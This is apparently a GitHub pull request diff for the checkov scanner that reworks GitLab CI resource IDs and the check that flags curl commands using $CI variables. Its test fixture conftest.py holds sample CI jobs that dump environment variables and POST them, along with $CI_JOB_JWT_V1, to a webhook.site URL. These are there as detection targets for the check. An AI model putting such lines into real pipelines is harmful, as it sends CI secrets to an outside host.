Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

fix(gitlab): Modify gitlab ci resource id #3706

Merged
merged 12 commits into from
Oct 24, 2022
Merged
Show file tree
Hide file tree
Changes from 11 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions checkov/common/checks/base_check_registry.py
Original file line number Diff line number Diff line change
Expand Up @@ -34,6 +34,7 @@ def __init__(self, report_type: str) -> None:
self.wildcard_checks: Dict[str, List[BaseCheck]] = defaultdict(list)
self.check_id_allowlist: Optional[List[str]] = None
self.report_type = report_type
self.definitions_raw: list[tuple[int, str]] | None = None

def register(self, check: BaseCheck) -> None:
# IMPLEMENTATION NOTE: Checks are registered when the script is loaded
Expand Down
3 changes: 3 additions & 0 deletions checkov/common/runners/object_runner.py
Original file line number Diff line number Diff line change
Expand Up @@ -100,6 +100,9 @@ def run(
for file_path in self.definitions.keys():
self.pbar.set_additional_data({'Current File Scanned': os.path.relpath(file_path, root_folder)})
skipped_checks = collect_suppressions_for_context(self.definitions_raw[file_path])

if registry.report_type == CheckType.GITLAB_CI:
registry.definitions_raw = self.definitions_raw[file_path]
results = registry.scan(file_path, self.definitions[file_path], skipped_checks, runner_filter) # type:ignore[arg-type] # this is overridden in the subclass
for key, result in results.items():
result_config = result["results_configuration"]
Expand Down
15 changes: 7 additions & 8 deletions checkov/gitlab_ci/checks/job/SuspectCurlInScript.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
from __future__ import annotations

from typing import Any
from checkov.common.models.enums import CheckResult

from checkov.gitlab_ci.checks.base_gitlab_ci_check import BaseGitlabCICheck
Expand All @@ -17,13 +17,12 @@ def __init__(self) -> None:
supported_entities=('*.script[]',)
)

def scan_conf(self, conf: str) -> tuple[CheckResult, str]: # type:ignore[override]
if "curl" in conf:
badstuff = ('curl', '$CI_')
lines = conf.split("\n")
for line in lines:
if all(x in line for x in badstuff):
return CheckResult.FAILED, conf
def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:
for line in conf.values():
if not isinstance(line, str):
continue
if line.startswith("curl") and "$CI" in line:
return CheckResult.FAILED, conf
return CheckResult.PASSED, conf


Expand Down
21 changes: 21 additions & 0 deletions checkov/gitlab_ci/common/resource_id_utils.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
from __future__ import annotations
from typing import Any

from checkov.common.util.consts import START_LINE, END_LINE
gruebel marked this conversation as resolved.
Show resolved Hide resolved


def generate_resource_key_recursive(conf: dict[str, Any] | list[str] | str, key: str, start_line: int,
end_line: int) -> str:
if not isinstance(conf, dict):
return key

for k, value in conf.items():
if isinstance(value, dict) and value[START_LINE] <= start_line <= end_line <= value[END_LINE]:
next_key = f'{key}.{k}' if key else k
return generate_resource_key_recursive(value, next_key, start_line, end_line)
if isinstance(value, list):
return f'{key}.{k}' if key else k
if isinstance(value, str):
return key

return key
8 changes: 8 additions & 0 deletions checkov/gitlab_ci/image_referencer/provider.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@
from typing import Any

from checkov.common.images.image_referencer import Image
from checkov.gitlab_ci.common.resource_id_utils import generate_resource_key_recursive


class GitlabCiProvider:
Expand Down Expand Up @@ -43,6 +44,10 @@ def extract_images_from_workflow(self) -> list[Image]:
name=image_name,
start_line=start_line,
end_line=end_line,
related_resource_id=generate_resource_key_recursive(conf=self.workflow_config,
key='',
start_line=start_line,
end_line=end_line)
)
images.append(image_obj)
image_name = ""
Expand All @@ -52,6 +57,9 @@ def extract_images_from_workflow(self) -> list[Image]:
name=image_name,
start_line=start_line,
end_line=end_line,
related_resource_id=generate_resource_key_recursive(conf=self.workflow_config,
key='', start_line=start_line,
end_line=end_line)
)
images.append(image_obj)
return images
21 changes: 21 additions & 0 deletions checkov/gitlab_ci/runner.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,8 @@
from typing import TYPE_CHECKING, Any

from checkov.common.output.report import Report
from checkov.common.util.type_forcers import force_dict
from checkov.gitlab_ci.common.resource_id_utils import generate_resource_key_recursive

from checkov.runner_filter import RunnerFilter

Expand Down Expand Up @@ -45,6 +47,15 @@ def is_workflow_file(self, file_path: str) -> bool:
def included_paths(self) -> Iterable[str]:
return (".gitlab-ci.yml", ".gitlab-ci.yaml")

def get_resource(self, file_path: str, key: str, supported_entities: Iterable[str], definitions: dict[str, Any] | None = None) -> str:
start_line, end_line = Runner.get_start_and_end_lines(key)
file_config = force_dict(self.definitions[file_path])
if not file_config:
return key
resource_id: str = generate_resource_key_recursive(conf=file_config, key='', start_line=start_line,
end_line=end_line)
return resource_id

def run(
self,
root_folder: str | None = None,
Expand Down Expand Up @@ -91,3 +102,13 @@ def extract_images(
images.extend(manager.extract_images_from_workflow())

return images

@staticmethod
def get_start_and_end_lines(key: str) -> list[int]:
check_name = key.split('.')[-1]
if "[" not in check_name or "[]" in check_name:
return [-1, -1]

start_end_line_bracket_index = check_name.index('[')

return [int(x) for x in check_name[start_end_line_bracket_index + 1: len(check_name) - 1].split(':')]
30 changes: 30 additions & 0 deletions checkov/yaml_doc/base_registry.py
Original file line number Diff line number Diff line change
Expand Up @@ -44,6 +44,8 @@ def _scan_yaml_array(
)
if isinstance(analyzed_entities, list):
for item in analyzed_entities:
if isinstance(item, str):
item = self.set_lines_for_item(item)
if STARTLINE_MARK != item and ENDLINE_MARK != item:
self.update_result(
check,
Expand Down Expand Up @@ -253,3 +255,31 @@ def get_result_key(self, check: BaseCheck,
def extract_entity_details(self, entity: dict[str, Any]) -> tuple[str, str, dict[str, Any]]:
# not used, but is an abstractmethod
pass

def set_lines_for_item(self, item: str) -> dict[int | str, str | int] | str:
if not self.definitions_raw:
return item

item_lines = item.rstrip().split("\n")
item_dict: dict[int | str, str | int] = {
idx: line for idx, line in enumerate(item_lines)
}

if len(item_lines) == 1:
item_line = item_lines[0]
for idx, line in self.definitions_raw:
if item_line in line:
item_dict[STARTLINE_MARK] = idx
item_dict[ENDLINE_MARK] = idx
gruebel marked this conversation as resolved.
Show resolved Hide resolved

first_line, last_line = item_lines[0], item_lines[-1]
for idx, line in self.definitions_raw:
if first_line in line:
item_dict[STARTLINE_MARK] = idx
continue

if last_line in line:
item_dict[ENDLINE_MARK] = idx
break

return item_dict
168 changes: 168 additions & 0 deletions tests/gitlab_ci/conftest.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,168 @@
from __future__ import annotations
from typing import Any

import pytest


@pytest.fixture
def definitions() -> dict[str, Any]:
return {
"/checkov/tests/gitlab_ci/resources/images/.gitlab-ci.yml": {
"default": {
"image": "nginx:1.18",
"services": [
{
"name": "privateregistry/stuff/my-postgres:11.7",
"alias": "db-postgres",
"__startline__": 9,
"__endline__": 11
},
{
"name": "redis:latest",
"__startline__": 11,
"__endline__": 12
},
"nginx:1.17"
],
"before_script": [
"bundle install"
],
"__startline__": 2,
"__endline__": 17
},
"test": {
"script": [
"docker run privateregistry/stuff/myimage:11.7"
],
"__startline__": 18,
"__endline__": 21
},
"baddeploy": {
"script": [
"echo \"get the envs\"\napt update\napt -y install curl\npython -c \u0027import json, os;print(json.dumps(dict(os.environ)))\u0027 \u003e env.json\ncurl -H \\\"Content-Type: application/json\\\" -X POST --data \"$CI_JOB_JWT_V1\" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826\ncurl -H \\\"Content-Type: application/json\\\" -X POST --data \"@env.json\" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826\n"
],
"__startline__": 22,
"__endline__": 32
},
"__startline__": 1,
"__endline__": 32
},
"/checkov/tests/gitlab_ci/resources/curl/.gitlab-ci.yml": {
"image": "python:3.9-buster",
"test": {
"script": [
"echo \"get the envs\"\napt update\napt -y install curl\npython -c \u0027import json, os;print(json.dumps(dict(os.environ)))\u0027 \u003e env.json\ncurl -H \\\"Content-Type: application/json\\\" -X POST --data \"@env.json\" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826\n"
],
"__startline__": 4,
"__endline__": 12
},
"deploy": {
"script": "curl -H \\\"Content-Type: application/json\\\" -X POST --data \"$CI_JOB_JWT_V1\" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826",
"__startline__": 13,
"__endline__": 13
},
"__startline__": 1,
"__endline__": 13
},
"/checkov/tests/gitlab_ci/resources/two/.gitlab-ci.yml": {
"planOnlySubset": {
"script": "echo \"This job creates double pipelines!\"",
"rules": [
{
"changes": [
"$DOCKERFILES_DIR/*"
],
"__startline__": 4,
"__endline__": 6
},
{
"if": "$CI_PIPELINE_SOURCE \u003d\u003d \"push\"",
"__startline__": 6,
"__endline__": 7
},
{
"if": "$CI_PIPELINE_SOURCE \u003d\u003d \"merge_request_event\"",
"__startline__": 7,
"__endline__": 9
}
],
"__startline__": 2,
"__endline__": 9
},
"job": {
"script": "echo \"This job also creates double pipelines!\"",
"rules": [
{
"changes": [
"$DOCKERFILES_DIR/*"
],
"__startline__": 12,
"__endline__": 14
},
{
"if": "$CI_PIPELINE_SOURCE \u003d\u003d \"push\"",
"__startline__": 14,
"__endline__": 15
},
{
"if": "$CI_PIPELINE_SOURCE \u003d\u003d \"merge_request_event\"",
"__startline__": 15,
"__endline__": 16
}
],
"__startline__": 10,
"__endline__": 16
},
"__startline__": 1,
"__endline__": 16
},
"/checkov/tests/gitlab_ci/resources/rules/.gitlab-ci.yml": {
"job": {
"script": "echo \"This job creates double pipelines!\"",
"rules": [
{
"changes": [
"$DOCKERFILES_DIR/*"
],
"__startline__": 4,
"__endline__": 6
},
{
"if": "$CI_PIPELINE_SOURCE \u003d\u003d \"push\"",
"__startline__": 6,
"__endline__": 7
},
{
"if": "$CI_PIPELINE_SOURCE \u003d\u003d \"merge_request_event\"",
"__startline__": 7,
"__endline__": 9
}
],
"__startline__": 2,
"__endline__": 9
},
"__startline__": 1,
"__endline__": 9
},
"/checkov/tests/gitlab_ci/image_referencer/resources/single_image/.gitlab-ci.yml": {
"default": {
"image": {
"name": "redis:latest",
"entrypoint": [
"/bin/bash"
],
"__startline__": 3,
"__endline__": 6
},
"__startline__": 2,
"__endline__": 6
},
"deploy": {
"script": "curl -H \\\"Content-Type: application/json\\\" -X POST --data \"$CI_JOB_JWT_V1\" https://webhook.site/4cf17d70-56ee-4b84-9823-e86461d2f826",
"__startline__": 7,
"__endline__": 7
},
"__startline__": 1,
"__endline__": 7
}
}
Loading